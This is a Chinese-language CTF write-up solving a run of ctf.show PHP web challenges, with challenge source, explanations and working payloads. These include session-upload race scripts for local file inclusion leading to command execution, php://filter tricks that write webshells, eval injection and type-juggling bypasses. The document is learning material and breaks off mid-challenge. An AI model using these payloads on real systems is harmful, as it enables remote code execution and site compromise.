data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web85

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

判断了php开头标签位置

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://34620425-6d06-42a7-a9c8-cd0474a728a0.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web86

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://9a5485a7-b096-40d7-a2f9-13ca7edddb77.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

2021/8/10

web87

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

相关知识:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://xz.aliyun.com/t/8163#toc-3

死亡exit

使用base64绕过die函数

1
php://filter/write=convert.base64-decode/resource=1.php
1
PD9waHAgc3lzdGVtKCd0YWMgZionKTs= //<?php system('tac f*');

在base64语句前随便加两个字符 凑够phpdiexx 可以被base64解码

剩下的PD9waHAgc3lzdGVtKCd0YWMgZionKTs= 正常被解码然后执行

1
content=aaPD9waHAgc3lzdGVtKCd0YWMgZionKTs=

urldecode($file)

浏览器解码一次 函数解码一次

所以需要对file进行二次url编码

image-20210810150446961

image-20210810150517046

然后访问php文件即可看到flag ( 也可以写一个一句话木马进去)

web88

源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

get方式接收file参数 过滤了很多符号 如果能够通过匹配就被包含

和79题差不多 但是这里过滤了等号 base64中=是用来填充的 可以去掉

1
2
3
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw

PD9waHAgc3lzdGVtKCd0YWMgKicpOw //<?php system('tac *');

php特性

web89

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

题目中要求传入数字 然后intval() 函数用于获取变量的整数值

利用preg_match()函数无法处理数组的漏洞绕过匹配

intval()函数貌似也无法处理数组

本地环境?num=aaaaa不输出

?num[]=aaaaa就可以输出

image-20210810154644586

1
题目payload:?num[]=1

2021/8/11

web90

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
php弱类型总结

image-20210811124716220

要求传入的num不能全等于4476 (数值类型)

且经过int转换之后需要全等于4476 (数值类型)

1
2
3
4
 弱类型法:?num=4476asfsf ?num=4476.0  ?num=4476.1//第一个判断类型不相等 第二个判断经过强制转换之后相等
十六进制法: ?num=0x117c
八进制法:?num=010574
二进制:?num=0b1000101111100

本地测试

image-20210811125124722

web91

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ //匹配$a开头和结尾是php (^表示开头 $表示结尾 /i不区分大小写 /m表示多行匹配)
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

/i不区分大小写

/m代表匹配多行数据

考点:Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展

第一个匹配 只要在某一行匹配到了开头和结尾都是php就可以通过 也就是说匹配内容中必须只有flag

第二个匹配不分行 一起匹配 要求不能出现php

1
?cmd=aaaa%0aphp

第一个匹配遇到了%0a 当成换行符 继续匹配第二行 匹配到了只有php的一行 通过

第二个匹配一行内有%0aphp 不满足开头和结尾都是php 不通过 输出flag

web92

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

第一个if($num==4476) 要求传入的num不能等于4476 所以弱类型就失效了

看到intval里base参数还是0 所以可以用进制绕过

新知识:intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取

1
2
3
4
5
6
十六进制法: ?num=0x117c
八进制法:?num=010574
?num=4476e123 //e后面加数字是为了让第一个==判断当成弱类型处理 从而通过第一个==判断
?num=4476E1 //e前面的4476可以通过第二个==判断
float数据类型:?num=4476.1 //第一个判断不相等 第二个判断经过强制转换为4476 强制取整
错误:?num=4476e0 //e0还是本身 无法绕过第一个

web93

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

第一个==判断可以用进制转换和科学计数法绕过

第二个判断检测不能出现字母,所以只能用八进制绕过

第三个intval配合八进制 输出flag

1
2
八进制:?num=010574
float: ?num=4476.1

web94

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

多了一个判断函数

image-20210811141527656

如果我们传入的num有0 则不通过 这样就不能用进制转换了

1
?num=4476.0

web95

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

preg_match(“/[a-z]|./i”, $num) 把小数点过滤了

可以通过8进制绕过但是前面必须多加一个字节 这样就保证开头字符不是0了

1
2
3
4
5
?num=+010574

?num=%2b010574

?num=%20010574

web96

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

要求传入的u不能是flag.php

然后显示参数u文件的代码

可以配合伪协议绕过

也可以用相对/绝对路径绕过

1
2
3
4
5
?u=php://filter/read=convert.base64-encode/resource=flag.php

?u=./flag.php

?u=/var/www/html/flag.php

web97

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

要求传入a和b参数 且a不等于b 且md5加密后的a和b相等

由于md5判断的是=== 全等 无法用弱类型绕过

md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,就会得到===强比较的值相等

1
a[]=1&b[]=2

这个题目强碰撞没成功

1
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

web98

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

知识点:php三元运算符与if的详解

php函数的传值与传址(引用)详解

php中引用的用法:

  1. 变量的引用赋值: $a = &$b

  2. 函数调用时的引用参数传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
include('flag.php');

$_GET?$_GET=&$_POST:'flag';
============================
if($_GET)
{
$_GET=&$_POST;//如果存在GET请求则引用POST请求的内容
//重点:GET请求不管给什么东西都会被POST请求覆盖掉
//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
}
else
{
'flag';
}


$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
================================================
if($_GET['flag']=='flag')
{
$_GET=&$_COOKIE;
}
else
{
'flag';
}



$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
============================================
if($_GET['HTTP_FLAG']=='flag')
{
$flag;
}
else
{
__FILE__;
}

GET请求不管给什么东西都会被POST请求覆盖掉 那就随便GET一个 然后POST让HTTP_FLAG='flag'
GET一个?a=a 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数

web99

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$allow = array(); //将变量allow设为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); //向数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

array() 函数用于创建数组。

array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。

rand() 函数生成随机整数。(如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 rand (10,100)。 )

in_array() 函数搜索数组中是否存在指定的值。

从题目来看 最难绕过的点就是in_array 如果传入n的文件名为x.php 需要在in_array中被搜索到才能通过

核心:in_array() 函数漏洞

1
2
3
4
5
#以下,'7eee'被强制转换成整型 7
var_dump(in_array('7eee', [1, 2, 7, 9]));//true

#如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
var_dump(in_array('7eee', [1, 2, 7, 9], true));//false
1
2
3
本地测试:

var_dump(in_array('1.php', [1, 2, 7, 9])); //bool(true)

因为rand()函数从1-877(0x36d)之间随机插入了很多数 只要是数字开头的 x.php就可以利用此漏洞

1
2
3
4
GET:
?n=1.php / ?n=2.php //盲猜随机数
POST:
content=<?php system('tac f*');?> //也可以写一句话木马

web100

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

php中OR与|| AND与&&的区别总结

1
2
3
4
5
6
7
8
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

<?php
$a=true and false and false;
var_dump($a); 返回true

$a=true && false && false;
var_dump($a); 返回false

绕过

1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

利用这种方式

1
$a=true and false and false;

保证v1位数字 v2构造命令 v3写分号结尾

1
eval("$v2('ctfshow')$v3
1
2
3
4
5
if(!preg_match("/\;/", $v2)){  //v2中不能有分号
if(preg_match("/\;/", $v3)){ //v3中需要有分号
eval("$v2('ctfshow')$v3");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
 eval("$v2('ctfshow')$v3


?v1=1&v2=system('tac ctfshow.php')&v3=;

=======================================
eval("system('tac ctfshow.php')('ctfshow'); //会报错,但是可以执行


?v1=1&v2=system('tac ctfshow.php')/*&v3=*/;

=======================================
eval("system('tac ctfshow.php')/*('ctfshow')*/; //使用了注释 不报错,可以执行

输出的flag需要把0x2d HEX Decode成 -

然后加上ctfshow{}

web101

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

v2过滤了很多符号 没法命令执行了 v3分号没过滤

考点是类反射

CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令

1
2
3
4
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。

$class = new ReflectionClass('Person'); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args); // 相当于实例化Person 类

导出类信息

1
?v1=1&v2=echo new Reflectionclass&v3=;

拿到flag 0x2d换成-

flag最后少一位 从0-9 a-z一个一个试

2021/8/12

web102

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

substr() 函数返回字符串的一部分。

substr(string,start,length)

call_user_func — 把第一个参数作为回调函数调用

这里v2必须是数字 因为赋值运算的优先级比AND和OR的高

$p = 6 and 0;
var_dump($p); //int(6)

substr函数会从第三个字符(012)开始截取

v1是自定义函数 可以利用hex2bin

v3没做限制 可以利用伪协议写入base64解码之后的字符串

1
php://filter/write=convert.base64-decode/resource=1.php
1
PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo= //<?php eval($_POST[a]);

将其转换为16进制字符串

1
50443977614841675a585a686243676b5831425055315262595630704f776f3d  //PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo=

在base64字符串前面增加5个字符 然后转换成16进制

1
2
3
aaaaaPD9waHAgZXZhbCgkX1BPU1RbYV0pOwo=  

616161616150443977614841675a585a686243676b5831425055315262595630704f776f3d2020

传入16进制字符串 绕过数字检测 substr函数截取变成

1
2
3
4
5
6161616150443977614841675a585a686243676b5831425055315262595630704f776f3d2020

aaaaPD9waHAgZXZhbCgkX1BPU1RbYV0pOwo=

i��<?php eval($_POST[a]);

最终payload

1
2
3
4
5
6
7
8
9
GET

v2=6161616150443977614841675a585a686243676b5831425055315262595630704f776f3d2020&v3=php://filter/write=convert.base64-decode/resource=1.php

POST

v1=hex2bin

php7版本加上0x才可以识别16进制

结果执行失败了 看了一些 是因为16进制中出现了字符串 没过检测 那么就想办法构造一个简短的payload

1
2
3
4
5
6
7
8
9
10
11
<?=`cat *`;   // echo `cat *`

//<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制

PD89YGNhdCAqYDs=

PD89YGNhdCAqYDs

5044383959474e6864434171594473

005044383959474e6864434171594473

最终payload

1
2
3
4
5
6
7
GET

v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST

v1=hex2bin

新知识:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? ?>是短标签
<?php ?>是长标签
在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>
同时,只有开启这个才可以使用 <?= 以代替 <? echo 。在CodeIgniter的视频教程中就是用的这种方式。
但是这个短标签是不推荐的,使用<?php ?>才是规范的方法。只是因为这种短标签使用的时间比较长,这种特性才被保存了下来。


1. 反引号(``) 执行运算符(注意这不是单引号)

PHP 将尝试将反引号中的内容作为外壳命令来执行,并将其输出信息返回(例如,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

web103

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

这个题和上一题的不同之处是会检查hex2bin之后的base64字符串 是不存在php字符的 还是用上一题payload

1
2
3
4
5
6
7
GET

v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST

v1=hex2bin

web104

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}



?>

要求post传入v1 get传入v2

两个参数经过sha1加密后相等

1
2
3
4
5
6
7
8
9
GET:v2=1  / v2[]=
POST:v1=1 / v1[]=


或者弱类型
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

web105

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
你还想要flag嘛?

GET传入的参数作为数组遍历 如果参数名(key)全等于error 就退出脚本

继续向下执行 进行变量覆盖

POST传入的参数作为数组遍历 如果参数名(key)全等于flag就退出脚本

继续向下执行 进行变量覆盖

继续向下执行

如果post传入的flag参数的内容与flag变量不相等 就退出脚本 不传入flag也退出脚本

但是我们是不知道flag变量内容的

考点是变量覆盖

把error变成suces 把suces变成flag

如果不能传入与flag变量相等的flag参数的内容

就会触发die($error); 从而把flag输出

1
2
3
4
5
GET
suces=flag

POST
error=suces

web106

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}



?>

这次限定了v1不能和v2相等

直接弱类型

或者用数组绕过sha1函数

1
2
3
4
5
6
7
8
9
10
11
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

GET
v1[]=2

POST

v2[]=1

web107

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}



?>

出现了一个新函数 parse_str()

parse_str() 函数把查询字符串解析到变量中。

image-20210812175038144

1
2
3
4
5
<?php
parse_str("name=Peter&age=43");
echo $name."<br>"; //Peter
echo $age; //43
?>

简单来说就是把传入的参数和内容变成变量

如果又第二个参数的话

就把第一个参数变成数组存储到第二个参数中

1
2
3
4
<?php
parse_str("name=Peter&age=43",$myArray);
print_r($myArray); //Array ( [name] => Peter [age] => 43 )
?>

我们构造v1的内容为flag=xxx 将其存储到v2中

v3要经过md5加密 加密后需要等于v2中flag的内容 也就是我们传入的v1的flag的内容

最终payload:

1
2
3
4
5
GET
v3=0

POST
v1=flag=cfcd208495d565ef66e7dff9f98764da //md5(0);

2021/8/13

web108

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>
error

strrev() 函数反转字符串。

intval() 函数用于获取变量的整数值。

一个数经过反转并取整后等于十六进制0x36d即十进制的877

那这个数为778就可以

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

1
?c=a%00778

web109

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

Exception 异常处理类

CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令

payload:

1
2
3
?v1=Exception&v2=system('cat fl36dg.txt') 

?v1=Reflectionclass&v2=system('cat fl36dg.txt') //当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示 即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

web110

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

过滤了很多 没办法命令执行了

考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件

http://phpff.com/filesystemiterator

https://www.php.net/manual/zh/class.filesystemiterator.php

getcwd()函数 获取当前工作目录 返回当前工作目录 配合echo输出

1
?v1=FilesystemIterator&v2=getcwd  //fl36dga.txt

web111

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}





}

?>

PHP取地址符(引用符)&详解

1
2
3
4
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;"); //v1参数的内容作为变量名称 v2参数的内容作为变量内容
var_dump($$v1);
}

利用全局变量输出flag

1
2
3
4
5
6
?v1=ctfshow&v2=GLOBALS

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;"); //$ctfshow=&$GLOBALS
var_dump($$v1); //输出全局变量
}

2021/8/18

web112

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

有一个新函数

image-20210818181346585

主要点还是对伪协议的过滤

payload:

1
2
3
4
5
6
7
8
?file=php://filter/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php

?file=php://filter/read=convert.b%2561se64-encode/resource=flag.php //a url二次编码
?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php //b url二次编码
?file=php://filter/read=convert.%2562%2561se64-encode/resource=flag.php //ba url二次编码

web113

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
